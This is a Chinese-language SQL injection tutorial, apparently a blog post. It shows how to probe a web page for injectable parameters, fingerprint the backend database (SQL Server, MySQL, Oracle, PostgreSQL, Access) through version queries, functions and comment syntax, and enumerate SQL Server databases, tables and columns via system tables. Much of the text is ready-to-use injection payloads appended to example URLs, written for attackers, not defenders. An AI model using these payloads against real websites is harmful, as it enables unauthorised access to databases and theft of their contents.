首先第一步检查是否与注入,你懂的
判断网站是否有注入
and 1=1
and 1=2
.0
.1
/
/1
-0
数据库类型判断:
在sql注入之前,先要知道web后面是个啥数据库,这样才能对症下药,更容易实现sql注入
判断数据库类型,主要通过各数据库特有的函数,字符串处理,注释等来排除,猜测数据库的类型
常见数据库
Oracle、MySQL、SQL Server、Access、MSsql、Postgresql,mongodb等
前端与数据库类型
asp:sql server
.net :sql server
php:postgresql,mysql
java:oracle,mysql
常用的web和数据库构造
1,Asp+access或sql server
2,PHP+Mysql
各数据库标志性信息:
sql server:select@@version --
Oracle :select banner from v$version
mysql:select @@version,version() -- length(user)>0正常
postgresql:select version() --
各数据库特有的函数:
sql server: @@pack_received @@rowcount
mysql:connection_id() last_insert_id() row_count()
orcale:bitand(1,1)
postgresql: select extract(dow from now())
对于字符串处理方式:
sql server :select 'a'+'b'='ab' --
mysql:select 'a'+'b'='a''b' ,select 'ab'=concat('a','b')
oracle:select 'a'+'b'='a'||'b' ,select 'ab'=concat('a','b')
postgresql :select 'a'+'b'='a'||'b' ,select 'ab'=concat('a','b')
特殊符号,注释的判断
按顺序来
1,“/* */”是MySQL中的注释符,返回错误说明该注入点不是##MySQL,另外也支持’–’
2,“–”是Oracle和MSSQL支持的注释符,如果正常,说明可能就是这俩了,
3,“;”是子句查询标识符,在Oracle中不支持多行查询,返回错误,很可能是Oracle数据库。
这样一串下来,基本就知道了数据库类型了
分析数据库服务器类型
一般来说,ACCESS与SQL-SERVER是最常用的数据库服务器,尽管它们都支持T-SQL标准,但还有不同之处,而且不同的数据库有不同的攻击方法,必须要区别对待。
⒈利用数据库服务器的系统变量进行区分
SQL-SERVER有user,db_name()等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。如:
① HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名
②HTTP://xxx.xxx.xxx/abc.asp?p=YY&n ... db_name()>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名;
⒉利用系统表
ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句:
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0
若数据库是SQL-SERVE,则第一条,abc.asp一定运行正常,第二条则异常;若是ACCESS则两条都会异常。
⒊MSSQL三个关键系统表
sysdatabases系统表:Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。这个表保存在master数据库中,这个表中保存的是什么信息呢?这个非常重要。他是 保存了所有的库名,以及库的ID和一些相关信息。
这里我把对于我们有用的字段名称和相关说明给大家列出来。name //表示库的名字。
dbid //表示库的ID,dbid
从1到5是系统的。分别是:master、model、msdb、mssqlweb、tempdb 这五个库。用select * from master.dbo.sysdatabases 就可以查询出所有的库名。
Sysobjects:SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。
syscolumns:每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有:
name ,id, colid :分别是字段名称,表ID号,字段ID号,其中的 ID 是 刚上我们用sysobjects得到的表的ID号。
用: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD这个库中,表的ID是123456789中的所有字段列表